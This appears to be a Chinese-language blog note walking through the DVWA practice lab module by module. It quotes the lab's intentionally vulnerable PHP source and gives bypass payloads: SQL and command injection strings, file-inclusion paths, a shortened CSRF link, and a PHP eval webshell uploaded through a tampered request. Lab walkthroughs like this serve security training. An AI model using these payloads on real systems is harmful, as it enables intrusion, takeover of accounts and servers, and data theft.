背景
学习渗透测试,特别是 Web 渗透,最头疼的无疑就是寻找靶机环境,通常是不同的漏洞需要找不同的靶机源码。DVWA是最适合的初级环境,几年前有搭建实现过,现在重新复现一下,并记录笔记
DVWA(Damn Vulnerable Web Application)是一个用来进行安全脆弱性鉴定的PHP/MySQL Web 应用,旨在为安全专业人员测试自己的专业技能和工具提供合法的环境,帮助web开发者更好的理解web应用安全防范的过程。
DVWA 一共包含了十四个攻击模块,包含了 OWASP TOP10 的所有攻击漏洞的练习环境,一站式解决所有 Web 渗透的学习环境。分别是:
- Brute Force(暴力(破解))
- Command Injection(命令行注入)
- CSRF(跨站请求伪造)
- File Inclusion(文件包含)
- File Upload(文件上传)
- Insecure CAPTCHA (不安全的验证码)
- SQL Injection(SQL注入)
- SQL Injection(Blind)(SQL盲注)
- Weak Session IDs (弱会话IDs)
- XSS(DOM)(DOM型跨站脚本)
- XSS(Reflected)(反射型跨站脚本)
- XSS(Stored)(存储型跨站脚本)
- CSP Bypass(内容安全策略)
- JavaScript Attacks
必要环境
实战篇
从这里开始会进行实战,难度从low开始
Brute Force
难度:low
使用burpsuite爆破破解即可
这里提供github开源的字典库:https://github.com/3had0w/Fuzzing-Dicts
并且low难度没有对特殊字符进行转义,可以使用sql注入
输入:admin’ or 1=1#
通过low难度代码审计,可以发现以下问题:
- 登录验证仅仅只校验账号是否存在数据库,并做任何限制
- 也没有对字符串转义,存在sql注入
if( isset( $_GET[ 'Login' ] ) ) {
// Get username
$user = $_GET[ 'username' ];
// Get password
$pass = $_GET[ 'password' ];
$pass = md5( $pass );
// Check the database
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
if( $result && mysqli_num_rows( $result ) == 1 ) {
// Get users details
$row = mysqli_fetch_assoc( $result );
$avatar = $row["avatar"];
// Login successful
$html .= "<p>Welcome to the password protected area {$user}</p>";
$html .= "<img src=\"{$avatar}\" />";
}
else {
// Login failed
$html .= "<pre><br />Username and/or password incorrect.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
难度:medium
因此它的爆破过程与Low难度的过程基本一样,可以参考Low难度中的爆破过程,区别是每一次登录失败后会延时2s,别的就没有什么改动了,总体过程影响不大。
另外在这个Medium难度的源码中,它对防止注入做了很多的工作,像比如说,它使用了mysql_real_escape_string 函数,这个函数可以对字符串中的函数进行转义,一定程度上可以防止sql注入
并且通过medium难度的代码审计,可以发现相比于low难度,有以下改进:
- 使用mysqli_real_escape_string()转义字符串
- 当登录失败时,会延迟2秒,sleep( 2 );给字典爆破时间上一定的限制
<?php
if( isset( $_GET[ 'Login' ] ) ) {
// Sanitise username input
$user = $_GET[ 'username' ];
$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Sanitise password input
$pass = $_GET[ 'password' ];
$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass = md5( $pass );
// Check the database
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
if( $result && mysqli_num_rows( $result ) == 1 ) {
// Get users details
$row = mysqli_fetch_assoc( $result );
$avatar = $row["avatar"];
// Login successful
$html .= "<p>Welcome to the password protected area {$user}</p>";
$html .= "<img src=\"{$avatar}\" />";
}
else {
// Login failed
sleep( 2 );
$html .= "<pre><br />Username and/or password incorrect.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
难度:high
这里先简单介绍一下token,token是为了减轻服务器压力,当用户登录会返回token,后面用户继续想登录只需要比对token即可
爆破的过程具体分为以下几步:
- 使用burpsuite抓包并发往intruder
- 添加password和user_token两个变量
- 注意攻击方式使用Pitchfork,每一个变量标记对应一个字典,取每个字典的对应项。
- 变量password用simple list,变量user_token使用recursive grep。
效果如下:
在这个难度中,通过high代码审计可以发现,
- 首先从代码中可以发现是加了token验证的。
- 针对这种带有token验证的,我们也可以使用burpsuite去爆破。
<?php
if( isset( $_GET[ 'Login' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Sanitise username input
$user = $_GET[ 'username' ];
$user = stripslashes( $user );
$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Sanitise password input
$pass = $_GET[ 'password' ];
$pass = stripslashes( $pass );
$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass = md5( $pass );
// Check database
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
if( $result && mysqli_num_rows( $result ) == 1 ) {
// Get users details
$row = mysqli_fetch_assoc( $result );
$avatar = $row["avatar"];
// Login successful
$html .= "<p>Welcome to the password protected area {$user}</p>";
$html .= "<img src=\"{$avatar}\" />";
}
else {
// Login failed
sleep( rand( 0, 3 ) );
$html .= "<pre><br />Username and/or password incorrect.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
// Generate Anti-CSRF token
generateSessionToken();
?>
难度:impossible
我的理解是impossible难度是最大可能限制攻击。像此处查看源码可知,当用户登录失败次数超过total_failed_login(dvwa设置为3),就会将账号锁住15秒。
同时采用了更为安全的PDO(PHP Data Object)机制防御sql注入,这里因为不能使用PDO扩展本身执行任何数据库操作,而sql注入的关键就是通过破坏sql语句结构执行恶意的sql命令。
if( ( $data->rowCount() == 1 ) && ( $row[ 'failed_login' ] >= $total_failed_login ) ) {
// User locked out. Note, using this method would allow for user enumeration!
//$html .= "<pre><br />This account has been locked due to too many incorrect logins.</pre>";
// Calculate when the user would be allowed to login again
$last_login = strtotime( $row[ 'last_login' ] );
$timeout = $last_login + ($lockout_time * 60);
$timenow = time();
/*
print "The last login was: " . date ("h:i:s", $last_login) . "<br />";
print "The timenow is: " . date ("h:i:s", $timenow) . "<br />";
print "The timeout is: " . date ("h:i:s", $timeout) . "<br />";
*/
// Check to see if enough time has passed, if it hasn't locked the account
if( $timenow < $timeout ) {
$account_locked = true;
// print "The account is locked<br />";
}
}
Command Injection
难度:low
可以把ip地址和系统信息等显示出来
输入:127.0.0.1 & ipconfig & systeminfo
难度:medium
该难度是对一些字符 如&& 进行了转义,但没有对&转转义,感觉这里出得不太好,所以用上一个low难度即可。除此之外可以用分号隔绝&&
输入:127.0.0.1 &;& systeminfo
难度:high
该难度是对很多常见字符都进行了转义。只能一个个去试看看哪个还没有转义可以绕过。发现还有||还没转义。
输入:127.0.0.1 || systeminfo
难度:impossible
此处是对IP地址进行了限制,只能输入IP地址格式,不能加入其它东西。同时还设置了token
Cross Site Request Forgery (CSRF)
CSRF攻击: 跨站请求伪造。已登录用户 访问 攻击者网站,攻击网站向被攻击网站发起恶意请求(利用浏览器会自动携带cookie)。简单来讲,就是利用用户的登录状态,并通过第三方站点做一些事情
难度:low
先抓包分析,是get请求。在浏览器地址栏可以也可以看得到请求地址。
使用短连接生成器:https://suolink.cn/?from=3205
利用该链接http://192.168.113.1/dvwa/vulnerabilities/csrf/?password_new=12&password_conf=12&Change=Change#,生成:http://c.nxw.so/6SdyY,然后只需要想办法让用户去诱导点开这个地址即可
通过low难度代码审计可以发现以下信息:
- 仅判断$pass_new和$pass_conf是否相同
- 使用mysqli_real_escape_string防止注入
- 这里没有对refer做判断,所以就会导致crsf漏洞
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the user
$html .= "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
$html .= "<pre>Passwords did not match.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
难度:medium
链接提交没有refer,通过代码审计可以发现:medium难度通过$_SERVER[‘HTTP_REFERER’]获取当前链接的上一个连接来源地址。但是medium难度只是单单做是否存在refer的判断,对于直接用链接访问,我们只需要抓包加一个refer再发送出去即可
加了refer后效果:
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Checks to see where the request came from
if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the user
$html .= "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
$html .= "<pre>Passwords did not match.</pre>";
}
}
else {
// Didn't come from a trusted source
$html .= "<pre>That request didn't look correct.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
难度:high
通过代码审计可以得出以下信息:
- high难度是基于token的身份检验方法
- 服务器对客户端发来的账号密码进行验证,验证成功会发送给客户端一个token
- 客户端把token存储在cookie或者本地缓存
也就是说,只有获取token才能CSRF,但是浏览器的跨域问题,不能直接获取,所以比较难利用
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the user
$html .= "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
$html .= "<pre>Passwords did not match.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
// Generate Anti-CSRF token
generateSessionToken();
?>
impossible
通过impossible难度的代码审计,可以看出对以下做了防御:
- 使用PDO技术防御SQL注入
- 对于防御CSRF,要求用户输入原始密码,攻击者在不知道原始密码的情况下是无法进行CSRF攻击的(原先)
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$pass_curr = $_GET[ 'password_current' ];
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Sanitise current password input
$pass_curr = stripslashes( $pass_curr );
$pass_curr = mysql_real_escape_string( $pass_curr );
$pass_curr = md5( $pass_curr );
// Check that the current password is correct
$data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
$data->bindParam( ':password', $pass_curr, PDO::PARAM_STR );
$data->execute();
// Do both new passwords match and does the current password match the user?
if( ( $pass_new == $pass_conf ) && ( $data->rowCount() == 1 ) ) {
// It does!
$pass_new = stripslashes( $pass_new );
$pass_new = mysql_real_escape_string( $pass_new );
$pass_new = md5( $pass_new );
// Update database with new password
$data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' );
$data->bindParam( ':password', $pass_new, PDO::PARAM_STR );
$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
$data->execute();
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match or current password incorrect.</pre>";
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
File Inclusion
难度:low
构造payload:xxx?page=file1.php
代码审计后可以观察到,服务端没有做任何限制
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
?>
难度:medium
使用绝对路径和相对路径构造payload
http://192.168.113.1/dvwa/vulnerabilities/fi/?page=G:\phpstudy_pro\WWW\DVWA\php.ini
http://192.168.113.1/dvwa/vulnerabilities/fi/?page=..\..\..\..\WWW\DVWA\php.ini
代码审计后可以观察到,发现对http等进行了一些过滤
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );
?>
难度:high
构造payload:
http://192.168.113.1/dvwa/vulnerabilities/fi/?page=file:///G:/phpstudy_pro/WWW/DVWA/php.ini
代码审计后可以观察到,High级别的代码规定只能包含file开头的文件,看似安全,我们依然可以利用file协议绕过防护策略。
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
?>
难度:impossible
通过代码审计可以观察到:Impossible级别的代码使用了白名单机制进行防护,page参数必须为“include.php”、“file1.php”、“file2.php”、“file3.php”之一,彻底杜绝了文件包含漏洞。
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
?>
File Upload
难度:low
上传一句话木马
使用蚁剑连接,这里提供蚁剑的github地址:https://github.com/AntSwordProject
代码审计可以观察到以下问题:
- 无限制的上传文件,没有做任何过滤,这是最致命的
- 文件上传后,保存在hackable/uploads/ 路径,而且还直接输出
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// No
$html .= '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
$html .= "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
?>
难度:medium
直接上传木马会发现,做了上传文件的限制
Your image was not uploaded. We can only accept JPEG or PNG images.
所以要想办法绕过,做以下操作绕过
- 修改有一句话木马shell.php为shell.png或者shell.jpg
- 抓包得到以下数据包,将filename=”shell.png”改成filename=”shell.php”
- 再放包
POST /dvwa/vulnerabilities/upload/ HTTP/1.1
Host: 192.168.113.1
Content-Length: 429
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.113.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryEdBpaJcCABbwJ0T9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.78 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.113.1/dvwa/vulnerabilities/upload/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: security=medium; PHPSESSID=70436arr4q4ouusefnic2a08eu
Connection: close
------WebKitFormBoundaryEdBpaJcCABbwJ0T9
Content-Disposition: form-data; name="MAX_FILE_SIZE"
100000
------WebKitFormBoundaryEdBpaJcCABbwJ0T9
Content-Disposition: form-data; name="uploaded"; filename="shell.png"
Content-Type: application/x-php
<?php @eval($_POST['cmd']) ?>
------WebKitFormBoundaryEdBpaJcCABbwJ0T9
Content-Disposition: form-data; name="Upload"
Upload
------WebKitFormBoundaryEdBpaJcCABbwJ0T9--
代码审计后可以观察到,有以下问题:
- 在判断语句那里可以看到,最上传文件的类型做了限制,只能上传jpeg和png类型文件,并且文件大小不超过100000B
- 由于只进行了Content-Type类型校验,所以可以正常上传.png文件,然后再抓包修改文件后缀名为.php
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
// Is it an image?
if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
( $uploaded_size < 100000 ) ) {
// Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// No
$html .= '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
$html .= "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
else {
// Invalid file
$html .= '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}
?>
难度:high
使用medium难度的方法还是无法上传木马,这里使用图片马,将图片和木马结合上传到服务器,步骤如下
- 随便找张图片,和一句话木马结合。cat 1.jpeg shell.php > shell2.png
- 上传shell2.png
- 由于shell2.png是图片格式,不能直接用蚁剑连接。利用File Inclusion漏洞访问http://192.168.113.1/dvwa/vulnerabilities/fi/?page=file:///G:/phpstudy_pro/WWW/dvwa/hackable/uploads/shell2.png能解析php代码
这里注意用蚁剑连接的时候要加上cookie,在浏览器输入document.cookie复制放到蚁剑即可
代码审计后可以观察到,
- getimagesize(string filename)函数会通过读取文件头,返回图片的长、宽等信息,如果没有相关的图片文件头,函数会报错。
- 要求上传文件名形式必须是”.jpg”、”.jpeg” 、”*.png”之一。
- getimagesize函数更是限制了上传文件的文件头必须为图像类型。
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
$uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];
// Is it an image?
if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
( $uploaded_size < 100000 ) &&
getimagesize( $uploaded_tmp ) ) {
// Can we move the file to the upload folder?
if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
// No
$html .= '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
$html .= "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
else {
// Invalid file
$html .= '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}
Insecure CAPTCHA
Insecure CAPTCHA(不安全的验证码),主要是验证流程出现了逻辑漏洞,而不是谷歌的验证码有问题。这一模块验证码使用的是Google提供的reCAPTCHA服务。
这里要进行配置,找到config.inc.php文件,修改下面两个地方
$_DVWA[ 'recaptcha_public_key' ] = '6LdK7xITAAzzAAJQTfL7fu6I-0aPl8KHHieAT_yJg';
$_DVWA[ 'recaptcha_private_key' ] = '6LdK7xITAzzAAL_uw9YXVUOPoIHPZLfw2K1n5NVQ';
难度:low
这里直接开始分析源码,可以看出该验证方法分为以下两步:
- 先检查验证码是否正确,为step == 1状态
- 再检查密码和确认密码
所以可以直接抓包 将 step=1 改成 step=2,绕过第一步验证码的检验
<?php
if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '1' ) ) {
// Hide the CAPTCHA form
$hide_form = true;
// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];
// Check CAPTCHA from 3rd party
$resp = recaptcha_check_answer(
$_DVWA[ 'recaptcha_private_key'],
$_POST['g-recaptcha-response']
);
// Did the CAPTCHA fail?
if( !$resp ) {
// What happens when the CAPTCHA was entered incorrectly
$html .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
$hide_form = false;
return;
}
else {
// CAPTCHA was correct. Do both new passwords match?
if( $pass_new == $pass_conf ) {
// Show next stage for the user
$html .= "
<pre><br />You passed the CAPTCHA! Click the button to confirm your changes.<br /></pre>
<form action=\"#\" method=\"POST\">
<input type=\"hidden\" name=\"step\" value=\"2\" />
<input type=\"hidden\" name=\"password_new\" value=\"{$pass_new}\" />
<input type=\"hidden\" name=\"password_conf\" value=\"{$pass_conf}\" />
<input type=\"submit\" name=\"Change\" value=\"Change\" />
</form>";
}
else {
// Both new passwords do not match.
$html .= "<pre>Both passwords must match.</pre>";
$hide_form = false;
}
}
}
if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) {
// Hide the CAPTCHA form
$hide_form = true;
// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];
// Check to see if both password match
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the end user
$html .= "<pre>Password Changed.</pre>";
}
else {
// Issue with the passwords matching
$html .= "<pre>Passwords did not match.</pre>";
$hide_form = false;
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
难度:medium
通过代码审计可以发现以下:
- medium在low基础上做了优化,在第二步会检查passed_captcha变量,也就是第一步是否校验成功,防止在第一步直接绕过
- 虽然有passed_captcha校验,但是存在问题,passed_captcha是通过post提交的,所以我们可以直接通过抓包改passed_captcha变量的值
<?php
if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '1' ) ) {
// Hide the CAPTCHA form
$hide_form = true;
// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];
// Check CAPTCHA from 3rd party
$resp = recaptcha_check_answer(
$_DVWA[ 'recaptcha_private_key' ],
$_POST['g-recaptcha-response']
);
// Did the CAPTCHA fail?
if( !$resp ) {
// What happens when the CAPTCHA was entered incorrectly
$html .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
$hide_form = false;
return;
}
else {
// CAPTCHA was correct. Do both new passwords match?
if( $pass_new == $pass_conf ) {
// Show next stage for the user
$html .= "
<pre><br />You passed the CAPTCHA! Click the button to confirm your changes.<br /></pre>
<form action=\"#\" method=\"POST\">
<input type=\"hidden\" name=\"step\" value=\"2\" />
<input type=\"hidden\" name=\"password_new\" value=\"{$pass_new}\" />
<input type=\"hidden\" name=\"password_conf\" value=\"{$pass_conf}\" />
<input type=\"hidden\" name=\"passed_captcha\" value=\"true\" />
<input type=\"submit\" name=\"Change\" value=\"Change\" />
</form>";
}
else {
// Both new passwords do not match.
$html .= "<pre>Both passwords must match.</pre>";
$hide_form = false;
}
}
}
if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) {
// Hide the CAPTCHA form
$hide_form = true;
// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];
// Check to see if they did stage 1
if( !$_POST[ 'passed_captcha' ] ) {
$html .= "<pre><br />You have not passed the CAPTCHA.</pre>";
$hide_form = false;
return;
}
// Check to see if both password match
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the end user
$html .= "<pre>Password Changed.</pre>";
}
else {
// Issue with the passwords matching
$html .= "<pre>Passwords did not match.</pre>";
$hide_form = false;
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
难度:high
通过代码审计后发现:
- 将两个步骤合并,无法通过修改passed_captcha绕过第一步,避免了我们通过改参数绕过
- 但是通过分析可以发现是通过验证g-recaptcha-response 和 HTTP_USER_AGENT,所以我们通过抓包,即使不验证,也可以通过。等于是绕过两步了。
<?php
if( isset( $_POST[ 'Change' ] ) ) {
// Hide the CAPTCHA form
$hide_form = true;
// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];
// Check CAPTCHA from 3rd party
$resp = recaptcha_check_answer(
$_DVWA[ 'recaptcha_private_key' ],
$_POST['g-recaptcha-response']
);
if (
$resp ||
(
$_POST[ 'g-recaptcha-response' ] == 'hidd3n_valu3'
&& $_SERVER[ 'HTTP_USER_AGENT' ] == 'reCAPTCHA'
)
){
// CAPTCHA was correct. Do both new passwords match?
if ($pass_new == $pass_conf) {
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "' LIMIT 1;";
